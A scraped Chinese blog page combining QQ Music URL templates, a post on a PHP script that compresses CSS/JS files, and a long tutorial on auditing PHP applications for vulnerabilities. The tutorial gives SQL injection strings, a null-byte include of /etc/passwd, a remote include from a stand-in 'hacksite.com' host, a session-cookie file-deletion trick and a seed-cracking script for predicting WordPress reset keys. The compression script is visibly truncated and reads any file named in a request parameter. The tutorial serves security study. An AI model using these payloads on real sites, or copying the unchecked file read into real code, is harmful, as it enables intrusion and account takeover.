http://tsmusic24.tc.QQ.com/{$SongId}.mp3

http:/ /stream.QQmusic.tc.qq.com/{$SongId}.mp3

http://tsmusic128.tc.qq.com/{$SongId+30000000}.mp3 (请计算出结果)

http://tsmusic128.tc.qq.com/{$SongId+40000000}.ogg (请计算出结果)

http://tsmusic24.tc.qq.com/{$SongId}.m4a

http://thirdparty.gtimg.com/{$SongId}.m4a?fromtag=38

http://thirdparty.gtimg.com/C100{$SongId}.m4a?fromtag=38


admin 发布于  2015-8-1 18:48 

自动压缩、加密 CSS/JavaScript 优化网站性能 PHP

关于压缩

压缩 CSS 的方法, 无外乎缩写代码和清除多余字符来实现, 平时只要养成使用缩写的技巧就可以明显减少最终代码的整体大小. 在此我就不做过多的描述, 后文也会有简单的压缩代码.

相比于前者, JavaScript 的压缩方式就比较丰富工具也很多, 常用的有: Packer/YUI-compressor/Dojo Compressor 等, 本人比较喜欢用 Packer 来压缩, 压缩比例可以达到 50% 上下.

我不知道读者是如何对 CSS/JavaScript 进行处理的, 但在此之前我都是线下压缩然后在上传, 但还是有些麻烦且不便于管理. 于是最近正好找到一个 Packer 的后端类, 在不改动原 CSS/JavaScript 的前提下实时压缩文件并输出, 可以更好的解决我目前的困扰.

实现过程

首先在下载:packer.php-1.1.zip 并解压 class.JavaScriptPacker.php 到你的当前主题目录, 然后在相同位置创建compress.php 文件, 内容如下:


<?php

'javascript', 'css' => 'css');

if (file_exists($path)) { // 判断文件存在的情况下在执行压缩工作
  Header('Content-Type: text/' . $head[$info] . '; charset=utf-8'); // 必需定义相应的文件头
  $script = file_get_contents($path); //读取文件

  if ($info != 'css') { // 判断不同的文件类型做处理
    require 'class.JavaScriptPacker.php'; // 引用 Packer 类
    $packer = new JavaScriptPacker($script, 'Normal', true, false); // 设置压缩参数
    $packed = $packer->pack(); // 压缩并写入变量
  } else { // 处理 CSS 文件
    $packer = preg_replace("!/\*[^*]*\*+([^/][^*]*\*+)*/!", "", $script); // 清除多余注释
    $packed = str_replace(array("\r\n", "\r", "\n", "\t", "  ", "    ", "    "), null, $packer); // 清除多余换行、空格、缩进符
  }

  echo $packed; // 输出所压缩的内容
}
;?>



然后在相同的位置创建一个 .htaccess 文件, 内容如下:



RewriteEngine On
RewriteRule (.*.(js|css))$ /compress.php?name=$1

后记

该方法在自己的vps+Apache 环境下通过, 直接访问相应文件的绝对路径就会自动压缩并输出, 但是如果你的主机不支持 Rewrite 功能的话, 可以跳过创建 .htaccess 然后通过 http://youdomain.com/content/templates/主题目录/compress.php?name=文件名称.css/js 来调用文件.



admin 发布于  2015-8-1 13:17 

高级PHP应用程序漏洞审核技术 网络安全

前言

PHP是一种被广泛使用的脚本语言,尤其适合于web开发。具有跨平台,容易学习,功能强大等特点,据统计全世界有超过34%的网站有php的应用,包括Yahoo、sina、163、sohu等大型门户网站。而且很多具名的web应用系统(包括bbs,blog,wiki,cms等等)都是使用php开发的,Discuz、phpwind、phpbb、vbb、wordpress、boblog等等。随着web安全的热点升级,php应用程序的代码安全问题也逐步兴盛起来,越来越多的安全人员投入到这个领域,越来越多的应用程序代码漏洞被披露。针对这样一个状况,很多应用程序的官方都成立了安全部门,或者雇佣安全人员进行代码审计,因此出现了很多自动化商业化的代码审计工具。也就是这样的形势导致了一个局面:大公司的产品安全系数大大的提高,那些很明显的漏洞基本灭绝了,那些大家都知道的审计技术都无用武之地了。我们面对很多工具以及大牛扫描过n遍的代码,有很多的安全人员有点悲观,而有的官方安全人员也非常的放心自己的代码,但是不要忘记了“没有绝对的安全”,我们应该去寻找新的途径挖掘新的漏洞。本文就给介绍了一些非传统的技术经验和大家分享。

另外在这里特别说明一下本文里面很多漏洞都是来源于网络上牛人和朋友们的分享,在这里需要感谢他们 :)

传统的代码审计技术

WEB应用程序漏洞查找基本上是围绕两个元素展开:变量与函数。也就是说一漏洞的利用必须把你提交的恶意代码通过变量经过n次变量转换传递,最终传递给目标函数执行,还记得MS那句经典的名言吗?“一切输入都是有害的”。这句话只强调了变量输入,很多程序员把“输入”理解为只是gpc[$_GET,$_POST,$_COOKIE],但是变量在传递过程产生了n多的变化。导致很多过滤只是个“纸老虎”!我们换句话来描叙下代码安全:“一切进入函数的变量是有害的”。

PHP代码审计技术用的最多也是目前的主力方法:静态分析,主要也是通过查找容易导致安全漏洞的危险函数,常用的如grep,findstr等搜索工具,很多自动化工具也是使用正则来搜索这些函数。下面列举一些常用的函数,也就是下文说的字典(暂略)。但是目前基本已有的字典很难找到漏洞,所以我们需要扩展我们的字典,这些字典也是本文主要探讨的。

其他的方法有:通过修改PHP源代码来分析变量流程,或者hook危险的函数来实现对应用程序代码的审核,但是这些也依靠了我们上面提到的字典。

PHP版本与应用代码审计

到目前为止,PHP主要有3个版本:php4、php5、php6,使用比例大致如下:

php4 68% 2000-2007,No security fixes after 2008/08,最终版本是php4.4.9
php5 32% 2004-present,Now at version 5.2.6(PHP 5.3 alpha1 released!)
php6 目前还在测试阶段,变化很多做了大量的修改,取消了很多安全选项如magic_quotes_gpc(这个不是今天讨论的范围)

由于php缺少自动升级的机制,导致目前PHP版本并存,也导致很多存在漏洞没有被修补。这些有漏洞的函数也是我们进行WEB应用程序代码审计的重点对象,也是我们字典重要来源。

其他的因素与应用代码审计

很多代码审计者拿到代码就看,他们忽视了“安全是一个整体”,代码安全很多的其他因素有关系,比如上面我们谈到的PHP版本的问题,比较重要的还有操作系统类型(主要是两大阵营win/*nix),WEB服务端软件(主要是iis/apache两大类型)等因素。这是由于不同的系统不同的WEB SERVER有着不同的安全特点或特性,下文有些部分会涉及。

所以我们在做某个公司WEB应用代码审计时,应该了解他们使用的系统,WEB服务端软件,PHP版本等信息。

扩展我们的字典

下面将详细介绍一些非传统PHP应用代码审计一些漏洞类型和利用技巧。

变量本身的key

说到变量的提交很多人只是看到了GET/POST/COOKIE等提交的变量的值,但是忘记了有的程序把变量本身的key也当变量提取给函数处理。

<?php //key.php?aaaa'aaa=1&bb'b=2  //print_R($_GET);   foreach ($_GET AS $key => $value) {         print $key."\n"; } ?>

上面的代码就提取了变量本身的key显示出来,单纯对于上面的代码,如果我们提交URL:

key.php?<script>alert(1);</script>=1&bbb=2

那么就导致一个xss的漏洞,扩展一下如果这个key提交给include()等函数或者sql查询呢?:)

漏洞审计策略
PHP版本要求:无
系统要求:无
审计策略:通读代码

变量覆盖

很多的漏洞查找者都知道extract()这个函数在指定参数为EXTR_OVERWRITE或者没有指定函数可以导致变量覆盖,但是还有很多其他情况导致变量覆盖的如:

遍历初始化变量

请看如下代码:

<?php //var.php?a=fuck $a='hi'; foreach($_GET as $key => $value) {         $$key = $value; } print $a; ?>

很多的WEB应用都使用上面的方式(注意循环不一定是foreach),如Discuz!4.1的WAP部分的代码:

$chs = ''; if($_POST && $charset != 'utf-8') {         $chs = new Chinese('UTF-8', $charset);         foreach($_POST as $key => $value) {                 $$key = $chs->Convert($value);         }         unset($chs);
漏洞审计策略
PHP版本要求:无
系统要求:无
审计策略:通读代码

parse_str()变量覆盖漏洞

//var.php?var=new $var = 'init';                     
parse_str($_SERVER['QUERY_STRING']); print $var;

该函数一样可以覆盖数组变量,上面的代码是通过$_SERVER['QUERY_STRING']来提取变量的,对于指定了变量名的我们可以通过注射“=”来实现覆盖其他的变量:

//var.php?var=1&a[1]=var1%3d222 $var1 = 'init'; parse_str($a[$_GET['var']]); print $var1;

上面的代码通过提交$var来实现对$var1的覆盖。

漏洞审计策略(parse_str)
PHP版本要求:无
系统要求:无
审计策略:查找字符parse_str
漏洞审计策略(mb_parse_str)
PHP版本要求:php4<4.4.7 php5<5.2.2
系统要求:无
审计策略:查找字符mb_parse_str

import_request_variables()变量覆盖漏洞

//var.php?_SERVER[REMOTE_ADDR]=10.1.1.1 echo 'GLOBALS '.(int)ini_get("register_globals")."n"; import_request_variables('GPC'); if ($_SERVER['REMOTE_ADDR'] != '10.1.1.1') die('Go away!'); echo 'Hello admin!';
漏洞审计策略(import_request_variables)
PHP版本要求:php4<4.4.1 php5<5.2.2
系统要求:无
审计策略:查找字符import_request_variables

PHP5 Globals

从严格意义上来说这个不可以算是PHP的漏洞,只能算是一个特性,测试代码:

<? // register_globals =ON //foo.php?GLOBALS[foobar]=HELLO php echo $foobar; ?>

但是很多的程序没有考虑到这点,请看如下代码:

//为了安全取消全局变量 //var.php?GLOBALS[a]=aaaa&b=111 if (ini_get('register_globals')) foreach($_REQUEST as $k=>$v) unset(${$k}); print $a; print $_GET[b];

如果熟悉WEB2.0的攻击的同学,很容易想到上面的代码我们可以利用这个特性进行crsf攻击。

漏洞审计策略
PHP版本要求:无
系统要求:无
审计策略:通读代码

magic_quotes_gpc与代码安全

什么是magic_quotes_gpc

当打开时,所有的 '(单引号),"(双引号),\(反斜线)和 NULL 字符都会被自动加上一个反斜线进行转义。还有很多函数有类似的作用 如:addslashes()、mysql_escape_string()、mysql_real_escape_string()等,另外还有parse_str()后的变量也受magic_quotes_gpc的影响。目前大多数的主机都打开了这个选项,并且很多程序员也注意使用上面那些函数去过滤变量,这看上去很安全。很多漏洞查找者或者工具遇到些函数过滤后的变量直接就放弃,但是就在他们放弃的同时也放过很多致命的安全漏洞。 :)

哪些地方没有魔术引号的保护

1) $_SERVER变量

PHP5的$_SERVER变量缺少magic_quotes_gpc的保护,导致近年来X-Forwarded-For的漏洞猛暴,所以很多程序员考虑过滤X-Forwarded-For,但是其他的变量呢?

漏洞审计策略($_SERVER变量)
PHP版本要求:无
系统要求:无
审计策略:查找字符_SERVER

2) getenv()得到的变量(使用类似$_SERVER变量)

漏洞审计策略(getenv())
PHP版本要求:无
系统要求:无
审计策略:查找字符getenv

3) $HTTP_RAW_POST_DATA与PHP输入、输出流

主要应用与soap/xmlrpc/webpublish功能里,请看如下代码:

if ( !isset( $HTTP_RAW_POST_DATA ) ) {         $HTTP_RAW_POST_DATA = file_get_contents( 'php://input' ); } if ( isset($HTTP_RAW_POST_DATA) )         $HTTP_RAW_POST_DATA = trim($HTTP_RAW_POST_DATA);
漏洞审计策略(数据流)
PHP版本要求:无
系统要求:无
审计策略:查找字符HTTP_RAW_POST_DATA或者php://input

4) 数据库操作容易忘记'的地方如:in()/limit/order by/group by

如Discuz!<5.0的pm.php:

if(is_array($msgtobuddys)) {         $msgto = array_merge($msgtobuddys, array($msgtoid));                 ...... foreach($msgto as $uid) {         $uids .= $comma.$uid;         $comma = ','; } ...... $query = $db->query("SELECT m.username, mf.ignorepm FROM {$tablepre}members m
        LEFT JOIN {$tablepre}memberfields mf USING(uid)
        WHERE m.uid IN ($uids)");
漏洞审计策略
PHP版本要求:无
系统要求:无
审计策略:查找数据库操作字符(select,update,insert等等)

变量的编码与解码

一个WEB程序很多功能的实现都需要变量的编码解码,而且就在这一转一解的传递过程中就悄悄的绕过你的过滤的安全防线。

这个类型的主要函数有:

1) stripslashes() 这个其实就是一个decode-addslashes()

2) 其他字符串转换函数:

base64_decode 对使用 MIME base64 编码的数据进行解码
base64_encode 使用 MIME base64 对数据进行编码
rawurldecode 对已编码的 URL 字符串进行解码
rawurlencode 按照 RFC 1738 对 URL 进行编码
urldecode 解码已编码的 URL 字符串
urlencode 编码 URL 字符串
... ...

另外一个 unserialize/serialize

3) 字符集函数(GKB,UTF7/8...)如iconv()/mb_convert_encoding()等

目前很多漏洞挖掘者开始注意这一类型的漏洞了,如典型的urldecode:

$sql = "SELECT * FROM article WHERE articleid='".urldecode($_GET[id])."'";

当magic_quotes_gpc=on时,我们提交?id=%2527,得到sql语句为:

SELECT * FROM article WHERE articleid='''
漏洞审计策略
PHP版本要求:无
系统要求:无
审计策略:查找对应的编码函数

二次攻击

详细见附录[1]

1)数据库出来的变量没有进行过滤

2)数据库的转义符号:

  • mysql/oracle转义符号同样是\(我们提交'通过魔术引号变化为\',当我们update进入数据库时,通过转义变为')
  • mssql的转义字符为'(所以我们提交'通过魔术引号变化为\',mssql会把它当为一个字符串直接处理,所以魔术引号对于mssql的注射没有任何意义)

从这里我们可以思考得到一个结论:一切进入函数的变量都是有害的,另外利用二次攻击我们可以实现一个webrootkit,把我们的恶意构造直接放到数据库里。我们应当把这样的代码看成一个vul?

漏洞审计策略
PHP版本要求:无
系统要求:无
审计策略:通读代码

魔术引号带来的新的安全问题

首先我们看下魔术引号的处理机制:

[\-->\\,'-->\',"-->\",null-->\0]

这给我们引进了一个非常有用的符号“\”,“\”符号不仅仅是转义符号,在WIN系统下也是目录转跳的符号。这个特点可能导致php应用程序里产生非常有意思的漏洞:

1)得到原字符(',\,",null])

$order_sn=substr($_GET['order_sn'], 1); //提交                 ' //魔术引号处理         \' //substr               ' $sql = "SELECT order_id, order_status, shipping_status, pay_status, ".    " shipping_time, shipping_id, invoice_no, user_id ".    " FROM " . $ecs->table('order_info').    " WHERE order_sn = '$order_sn' LIMIT 1";

2)得到“\”字符

$order_sn=substr($_GET['order_sn'], 0,1); //提交                 ' //魔术引号处理         \' //substr               \     $sql = "SELECT order_id, order_status, shipping_status, pay_status, ".    " shipping_time, shipping_id, invoice_no, user_id ".    " FROM " . $ecs->table('order_info').    " WHERE order_sn = '$order_sn' and order_tn='".$_GET['order_tn']."'";

提交内容:

?order_sn='&order_tn=%20and%201=1/* 

执行的SQL语句为:

SELECT order_id, order_status, shipping_status, pay_status, shipping_time, shipping_id, invoice_no, user_id FROM order_info WHERE order_sn = '\' and 
order_tn=' and 1=1/*'
漏洞审计策略
PHP版本要求:无
系统要求:无
审计策略:查找字符串处理函数如substr或者通读代码

变量key与魔术引号

我们最在这一节的开头就提到了变量key,PHP的魔术引号对它有什么影响呢?

<?php //key.php?aaaa'aaa=1&bb'b=2  //print_R($_GET);   foreach ($_GET AS $key => $value)         {         print $key."\n";         } ?>

1)当magic_quotes_gpc = On时,在php5.24下测试显示:

aaaa\'aaa
bb\'b

从上面结果可以看出来,在设置了magic_quotes_gpc = On下,变量key受魔术引号影响。但是在php4和php<5.2.1的版本中,不处理数组第一维变量的key,测试代码如下:

<?php //key.php?aaaa'aaa[bb']=1  print_R($_GET); ?>

结果显示:

Array ( [aaaa'aaa] => Array ( [bb\'] => 1 ) ) 

数组第一维变量的key不受魔术引号的影响。

漏洞审计策略
PHP版本要求:php4和php<5.2.1
系统要求:无
审计策略:通读代码

2)当magic_quotes_gpc = Off时,在php5.24下测试显示:

aaaa'aaa
bb'b

对于magic_quotes_gpc = Off时所有的变量都是不安全的,考虑到这个,很多程序都通过addslashes等函数来实现魔术引号对变量的过滤,示例代码如下:

<?php //keyvul.php?aaa'aa=1' //magic_quotes_gpc = Off  if (!get_magic_quotes_gpc()) {  $_GET  = addslashes_array($_GET); } function addslashes_array($value) {         return is_array($value) ? array_map('addslashes_array', $value) : addslashes($value); } print_R($_GET); foreach ($_GET AS $key => $value) {         print $key; } ?>

以上的代码看上去很完美,但是他这个代码里addslashes($value)只处理了变量的具体的值,但是没有处理变量本身的key,上面的代码显示结果如下:

Array (     [aaa'aa] => 1\'
)
aaa'aa
漏洞审计策略
PHP版本要求:无
系统要求:无
审计策略:通读代码

代码注射

PHP中可能导致代码注射的函数

很多人都知道eval、preg_replace+/e可以执行代码,但是不知道php还有很多的函数可以执行代码如:

assert()
call_user_func()
call_user_func_array()
create_function()
变量函数
...

这里我们看看最近出现的几个关于create_function()代码执行漏洞的代码:

<?php //how to exp this code $sort_by=$_GET['sort_by']; $sorter='strnatcasecmp'; $databases=array('test','test'); $sort_function = '  return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);
              '; usort($databases, create_function('$a, $b', $sort_function));
漏洞审计策略
PHP版本要求:无
系统要求:无
审计策略:查找对应函数(assert,call_user_func,call_user_func_array,create_function等)

变量函数与双引号

对于单引号和双引号的区别,很多程序员深有体会,示例代码:

echo "$a\n"; echo '$a\n';

我们再看如下代码:

//how to exp this code if($globals['bbc_email']){ $text = preg_replace(                 array("/\[email=(.*?)\](.*?)\[\/email\]/ies",                                 "/\[email\](.*?)\[\/email\]/ies"),                 array('check_email("$1", "$2")',                                 'check_email("$1", "$1")'), $text);

另外很多的应用程序都把变量用""存放在缓存文件或者config或者data文件里,这样很容易被人注射变量函数。

漏洞审计策略
PHP版本要求:无
系统要求:无
审计策略:通读代码

PHP自身函数漏洞及缺陷

PHP函数的溢出漏洞

大家还记得Stefan Esser大牛的Month of PHP Bugs(MOPB见附录2)项目么,其中比较有名的要算是unserialize(),代码如下:

unserialize(stripslashes($HTTP_COOKIE_VARS[$cookiename . '_data']);

在以往的PHP版本里,很多函数都曾经出现过溢出漏洞,所以我们在审计应用程序漏洞的时候不要忘记了测试目标使用的PHP版本信息。

漏洞审计策略
PHP版本要求:对应fix的版本
系统要求:
审计策略:查找对应函数名

PHP函数的其他漏洞

Stefan Esser大牛发现的漏洞:unset()--Zend_Hash_Del_Key_Or_Index Vulnerability 比如phpwind早期的serarch.php里的代码:

unset($uids); ...... $query=$db->query("SELECT uid FROM pw_members WHERE username LIKE '$pwuser'"); while($member=$db->fetch_array($query)){         $uids .= $member['uid'].','; } $uids ? $uids=substr($uids,0,-1) : $sqlwhere.=' AND 0 '; ........ $query = $db->query("SELECT DISTINCT t.tid FROM $sqltable WHERE $sqlwhere $orderby $limit");
漏洞审计策略
PHP版本要求:php4<4.3 php5<5.14
系统要求:无
审计策略:查找unset

session_destroy()删除文件漏洞

测试PHP版本:5.1.2 这个漏洞是几年前朋友saiy发现的,session_destroy()函数的功能是删除session文件,很多web应用程序的logout的功能都直接调用这个函数删除session,但是这个函数在一些老的版本中缺少过滤导致可以删除任意文件。测试代码如下:

<?php //val.php    session_save_path('./'); session_start(); if($_GET['del']) {         session_unset();         session_destroy(); }else{         $_SESSION['hei']=1;         echo(session_id());         print_r($_SESSION); } ?>

当我们提交构造cookie:PHPSESSID=/../1.php,相当于unlink('sess_/../1.php')这样就通过注射../转跳目录删除任意文件了。很多著名的程序某些版本都受影响如phpmyadmin,sablog,phpwind3等等。

漏洞审计策略
PHP版本要求:具体不详
系统要求:无
审计策略:查找session_destroy

随机函数

1) rand() VS mt_rand()

<?php //on windows print mt_getrandmax(); //2147483647 print getrandmax();// 32767 ?>

可以看出rand()最大的随机数是32767,这个很容易被我们暴力破解。

<?php
$a= md5(rand()); for($i=0;$i<=32767;$i++){   if(md5($i) ==$a ) {    print $i."-->ok!!<br>";exit;    }else { print $i."<br>";} } ?>

当我们的程序使用rand处理session时,攻击者很容易暴力破解出你的session,但是对于mt_rand是很难单纯的暴力的。

漏洞审计策略
PHP版本要求:无
系统要求:无
审计策略:查找rand

2) mt_srand()/srand()-weak seeding(by Stefan Esser)

看php手册里的描述:

mt_srand (PHP 3 >= 3.0.6, PHP 4, PHP 5) mt_srand -- 播下一个更好的随机数发生器种子 说明 void mt_srand ( int seed )

用 seed 来给随机数发生器播种。从 PHP 4.2.0 版开始,seed 参数变为可选项,当该项为空时,会被设为随时数。

例子 1. mt_srand() 范例

<?php // seed with microseconds function make_seed() {     list($usec, $sec) = explode(' ', microtime());     return (float) $sec + ((float) $usec * 100000); } mt_srand(make_seed()); $randval = mt_rand(); ?> 

注: 自 PHP 4.2.0 起,不再需要用 srand() 或 mt_srand() 函数给随机数发生器播种,现已自动完成。

php从4.2.0开始实现了自动播种,但是为了兼容,后来使用类似于这样的代码播种:

mt_srand ((double) microtime() * 1000000)

但是使用(double)microtime()*1000000类似的代码seed是比较脆弱的:

0<(double) microtime()<1 ---> 0<(double) microtime()* 1000000<1000000

那么很容易暴力破解,测试代码如下:

<?php ///////////////// //>php rand.php //828682 //828682 //////////////// ini_set("max_execution_time",0); $time=(double) microtime()* 1000000; print $time."\n"; mt_srand ($time); $search_id = mt_rand(); $seed = search_seed($search_id); print $seed; function search_seed($rand_num) { $max = 1000000; for($seed=0;$seed<=$max;$seed++){         mt_srand($seed);         $key = mt_rand();         if($key==$rand_num) return $seed; } return false; } ?>

从上面的代码实现了对seed的破解,另外根据Stefan Esser的分析seed还根据进程变化而变化,换句话来说同一个进程里的seed是相同的。 然后同一个seed每次mt_rand的值都是特定的。如下图:

seed-A
mt_rand-A-1
mt_rand-A-2
mt_rand-A-3
seed-B
mt_rand-B-1
mt_rand-B-2
mt_rand-B-3

对于seed-A里mt_rand-1/2/3都是不相等的,但是值都是特定的,也就是说当seed-A等于seed-B,那么mt_rand-A-1就等于mt_rand-B-1…,这样我们只要能够得到seed就可以得到每次mt_rand的值了。

对于5.2.6>php>4.2.0直接使用默认播种的程序也是不安全的(很多的安全人员错误的以为这样就是安全的),这个要分两种情况来分析:

第一种:'Cross Application Attacks',这个思路在Stefan Esser文章里有提到,主要是利用其他程序定义的播种(如mt_srand ((double) microtime()* 1000000)),phpbb+wordpree组合就存在这样的危险.

第二种:5.2.6>php>4.2.0默认播种的算法也不是很强悍,这是Stefan Esser的文章里的描述:

The Implementation
When mt_rand() is seeded internally or by a call to mt_srand() PHP 4 and PHP 5 <= 5.2.0 force the lowest bit to 1. Therefore the strength of the seed is only 31 and not 32 bits. In PHP 5.2.1 and above the implementation of the Mersenne Twister was changed and the forced bit removed.

在32位系统上默认的播种的种子为最大值是2^32,这样我们循环最多2^32次就可以破解seed。而在PHP 4和PHP 5 <= 5.2.0 的算法有个bug:奇数和偶数的播种是一样的(详见附录3),测试代码如下:

<?php
mt_srand(4); $a = mt_rand(); mt_srand(5); $b = mt_rand(); print $a."\n".$b; ?>

通过上面的代码发现$a==$b,所以我们循环的次数为232/2=231次。我们看如下代码:

<?php //base on http://www.milw0rm.com/exploits/6421  //test on php 5.2.0 define('BUGGY', 1); //上面代码$a==$b时候定义BUGGY=1 $key = wp_generate_password(20, false); echo $key."\n"; $seed = getseed($key); print $seed."\n"; mt_srand($seed); $pass = wp_generate_password(20, false); echo $pass."\n";        
        function wp_generate_password($length = 12, $special_chars = true) {         $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';         if ( $special_chars )                 $chars .= '!@#$%^&*()';         $password = '';         for ( $i = 0; $i < $length; $i++ )                 $password .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);         return $password; } function getseed($resetkey) {         $max = pow(2,(32-BUGGY));         for($x=0;$x<=$max;$x++) {                 $seed = BUGGY ? ($x << 1) + 1 : $x;                 mt_srand($seed);                 $testkey = wp_generate_password(20,false);                 if($testkey==$resetkey) { echo "o\n"; return $seed; }                 if(!($x % 10000)) echo $x / 10000;         }         echo "\n";         return false; } ?>

运行结果如下:

php5>php rand.php
M8pzpjwCrvVt3oobAaOr 0123456789101112131415161718192021222324252627282930313233343536373839404142434 445464748495051525354555657585960616263646566676869 7071727374757677787980818283848586878889909192939495969798991001011021031041051 061071081091101111121131141151161171181191201211221 2312412512612712812913013113213313413513613713813914014114214314414514614714814 915015115215315415515615715815916016116216316416516 6167168169170171172173174175176177178179180181182183184185186187188189190191192 193194195196197198199200201202203204205206207208209 2102112122132142152162172182192202212222232242252262272282292302312322332342352 362372382392402412422432442452462472482492502512522 ..............01062110622106231062410625106261062710628106291063010631106321063 3o 70693 pjwCrvVt3oobAaOr

当10634次时候我们得到了结果。

当PHP版本到了5.2.1后,通过修改算法修补了奇数和偶数的播种相等的问题,这样也导致了php5.2.0前后导致同一个播种后的mt_rand()的值不一样。比如:

<?php
mt_srand(42); echo mt_rand(); //php<=5.20 1387371436 //php>5.20 1354439493            ?>

正是这个原因,也要求了我们的exp的运行环境:当目标>5.20时候,我们exp运行的环境也要是>5.20的版本,反过来也是一样。

从上面的测试及分析来看,php<5.26不管有没有定义播种,mt_rand处理的数据都是不安全的。在web应用里很多都使用mt_rand来处理随机的session,比如密码找回功能等等,这样的后果就是被攻击者恶意利用直接修改密码。

很多著名的程序都产生了类似的漏洞如wordpress、phpbb、punbb等等。(在后面我们将实际分析下国内著名的bbs程序Discuz!的mt_srand导致的漏洞)

漏洞审计策略
PHP版本要求:php4 php5<5.2.6
系统要求:无
审计策略:查找mt_srand/mt_rand

特殊字符

其实“特殊字符”也没有特定的标准定义,主要是在一些code hacking发挥着特殊重作用的一类字符。下面就举几个例子:

截断

其中最有名的数大家都熟悉的null字符截断。

include截断
<?php 
include $_GET['action'].".php"; ?>

提交“action=/etc/passwd%00”中的“%00”将截断后面的“.php”,但是除了“%00”还有没有其他的字符可以实现截断使用呢?肯定有人想到了远程包含的url里问号“?”的作用,通过提交“action=http://www.hacksite.com/evil-code.txt?”这里“?”实现了“伪截断”:),好象这个看上去不是那么舒服那么我们简单写个代码fuzz一下:

<?php //////////////////// ////var5.php代码: ////include $_GET['action'].".php";  ////print strlen(realpath("./"))+strlen($_GET['action']);   /////////////////// ini_set('max_execution_time', 0); $str=''; for($i=0;$i<50000;$i++) {         $str=$str."/";         $resp=file_get_contents('http://127.0.0.1/var/var5.php?action=1.txt'.$str);         //1.txt里的代码为print 'hi';         if (strpos($resp, 'hi') !== false){                 print $i;                 exit;         } } ?>

经过测试字符“.”、“ /”或者2个字符的组合,在一定的长度时将被截断,win系统和*nix的系统长度不一样,当win下strlen(realpath("./"))+strlen($_GET['action'])的长度大于256时被截断,对于*nix的长度是4 * 1024 = 4096。对于php.ini里设置远程文件关闭的时候就可以利用上面的技巧包含本地文件了。(此漏洞由cloie#ph4nt0m.org最先发现])

数据截断

对于很多web应用文件在很多功能是不容许重复数据的,比如用户注册功能等。一般的应用程序对于提交注册的username和数据库里已有的username对比是不是已经有重复数据,然而我们可以通过“数据截断”等来饶过这些判断,数据库在处理时候产生截断导致插入重复数据。

1) Mysql SQL Column Truncation Vulnerabilities

这个漏洞又是大牛Stefan Esser发现的(Stefan Esser是我的偶像:)),这个是由于mysql的sql_mode设置为default的时候,即没有开启STRICT_ALL_TABLES选项时,MySQL对于插入超长的值只会提示warning,而不是error(如果是error就插入不成功),这样可能会导致一些截断问题。测试如下:

mysql> insert into truncated_test(`username`,`password`) values("admin","pass"); mysql> insert into truncated_test(`username`,`password`) values("admin           x", "new_pass"); Query OK, 1 row affected, 1 warning (0.01 sec) mysql> select * from truncated_test; +----+------------+----------+ | id | username   | password | +----+------------+----------+ | 1 | admin      | pass     | | 2 | admin      | new_pass | +----+------------+----------+ 2 rows in set (0.00 sec)

2) Mysql charset Truncation vulnerability

这个漏洞是80sec发现的,当mysql进行数据存储处理utf8等数据时对某些字符导致数据截断。测试如下:

mysql> insert into truncated_test(`username`,`password`) values(concat("admin",0xc1), "new_pass2"); Query OK, 1 row affected, 1 warning (0.00 sec) mysql> select * from truncated_test; +----+------------+----------+ | id | username   | password | +----+------------+----------+ | 1 | admin      | pass      | | 2 | admin      | new_pass  | | 3 | admin      | new_pass2 | +----+------------+----------+ 2 rows in set (0.00 sec)

很多的web应用程序没有考虑到这些问题,只是在数据存储前简单查询数据是否包含相同数据,如下代码:

$result = mysql_query("SELECT * from test_user where user='$user' ");   .... if(@mysql_fetch_array($result, MYSQL_NUM)) {         die("already exist"); }
漏洞审计策略
PHP版本要求:无
系统要求:无
审计策略:通读代码
文件操作里的特殊字符

文件操作里有很多特殊的字符,发挥特别的作用,很多web应用程序没有注意处理这些字符而导致安全问题。比如很多人都知道的windows系统文件名对“空格”和“.”等的忽视,这个主要体现在上传文件或者写文件上,导致直接写webshell。另外对于windows系统对“.\..\”进行系统转跳等等。 下面还给大家介绍一个非常有意思的问题:

//Is this code vul? if( eregi(".php",$url) ){         die("ERR"); } $fileurl=str_replace($webdb[www_url],"",$url); ..... header('Content-Disposition: attachment; filename='.$filename);

很多人看出来了上面的代码的问题,程序首先禁止使用“.php”后缀。但是下面居然接了个str_replace替换$webdbwww_url为空,那么我们提交“.p$webdbwww_urlhp”就可以饶过了。那么上面的代码杂fix呢?有人给出了如下代码:

$fileurl=str_replace($webdb[www_url],"",$url); if( eregi(".php",$url) ){         die("ERR"); }

str_replace提到前面了,很完美的解决了str_replace代码的安全问题,但是问题不是那么简单,上面的代码在某些系统上一样可以突破。接下来我们先看看下面的代码:

<?php for($i=0;$i<255;$i++) {         $url = '1.ph'.chr($i);         $tmp = @file_get_contents($url);         if(!empty($tmp)) echo chr($i)."\r\n"; }   ?>

我们在windows系统运行上面的代码得到如下字符* < > ? P p都可以打开目录下的1.php。

漏洞审计策略
PHP版本要求:无
系统要求:无
审计策略:文读取件操作函数

怎么进一步寻找新的字典

上面我们列举很多的字典,但是很多都是已经公开过的漏洞或者方式,那么我们怎么进一步找到新的字典或者利用方式呢?

  • 分析和学习别人发现的漏洞或者exp,总结出漏洞类型及字典
  • 通过学习php手册或者官方文档,挖掘出新的有危害的函数或者利用方式
  • fuzz php的函数,找到新的有问题的函数(不一定非要溢出的),如上一章的4.6的部分很多都可以简单的fuzz脚本可以测试出来
  • 分析php源代码,发现新的漏洞函数“特性”或者漏洞。(在上一节里介绍的那些“漏洞审计策略”里,都没有php源代码的分析,如果你要进一步找到新的字典,可以在php源代码的基础上分析下成因,然后根据这个成因来分析寻找新的漏洞函数“特性”或者漏洞。)(我们以后会陆续公布一些我们对php源代码的分析)
  • 有条件或者机会和开发者学习,找到他们实现某些常用功能的代码的缺陷或者容易忽视的问题
  • 你有什么要补充的吗? :)

DEMO

DEMO -- Discuz! Reset User Password 0day Vulnerability 分析
(Exp:http://www.80vul.com/dzvul/sodb/14/sodb-2008-14.txt
PHP版本要求:php4 php5<5.2.6
系统要求: 无
审计策略:查找mt_srand/mt_rand

第一步 安装Discuz! 6.1后利用grep查找mt_srand得到:

